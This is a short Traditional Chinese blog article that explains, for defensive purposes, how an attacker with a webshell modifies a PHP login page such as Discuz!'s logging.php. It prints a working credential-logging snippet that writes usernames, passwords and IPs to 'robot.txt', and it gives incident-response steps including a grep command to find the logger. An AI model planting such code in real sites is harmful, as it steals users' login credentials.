PHP 截取後台登入帳密原理與防範（僅供安全研究）

⚠️ 法律與道德聲明

本文僅說明攻擊原理以利防禦，**嚴禁**用於非授權系統滲透、竊取帳號等非法行為。請遵守當地法律法規與網路安全道德規範。

攻擊原理

攻擊者取得 Webshell 後，修改登入頁面（或通用包含檔），在密碼驗證邏輯前插入記錄代碼，將明文帳密寫入日誌檔。

典型植入代碼

<?php
if (isset($_POST['loginsubmit'])) {
    $log = "user:{$_POST['username']}--pass:{$_POST['password']}--ip:{$_SERVER['REMOTE_ADDR']}--time:" . date('Y-m-d H:i:s') . "\n";
    @file_put_contents('robot.txt', $log, FILE_APPEND | LOCK_EX);
}
// 原本的驗證邏輯繼續執行...
?>

以 Discuz! 為例

1. 找登入表單 action 指向的檔案（如 logging.php）
2. 檢視表單欄位名稱：username、password
3. 在驗證代碼前植入記錄邏輯

防禦措施

發現被植入怎麼辦

1. 立即離線受影響伺服器
2. 備份日誌與可疑檔案供鑑識
3. 全盤掃描 Webshell（find /var/www -name "*.php" -exec grep -l "file_put_contents.*robot" {} \;）
4. 重新部署乾淨代碼、修改所有帳號密鑰
5. 根因分析：入侵路徑（弱口令、漏洞、供應鏈）並修補

1. 上一篇文章： PHP 檔案快取類原理與實作：靜態頁面生成、自動清理過期檔案
2. 下一篇文章： PHP 讀取遠端網頁內容：fopen、stream_get_contents、cURL 三種方法比較

PHP 相關知識

PHP 專案檔案載入機制深度解析：理解專案架構的第一步

前言 初學 PHP 時最擔心：「我 new 的類別能正確載入

PHP FastCGI 在 IIS 下的檔案系統權限問題與解決方案 (補充版)

問題場景重述 環境：Windows + IIS 7.5

PHP 基礎知識體系總覽：從標籤、變數、常數到資料類型與記憶體模型

PHP 工作模式 PHP 是嵌入 HTML 的腳本語言，檔

PHP 模板引擎原理與手寫實現：從編譯到緩存的完整流程

PHP 模板引擎原理與手寫實現：從編譯到緩存的完整流程 模板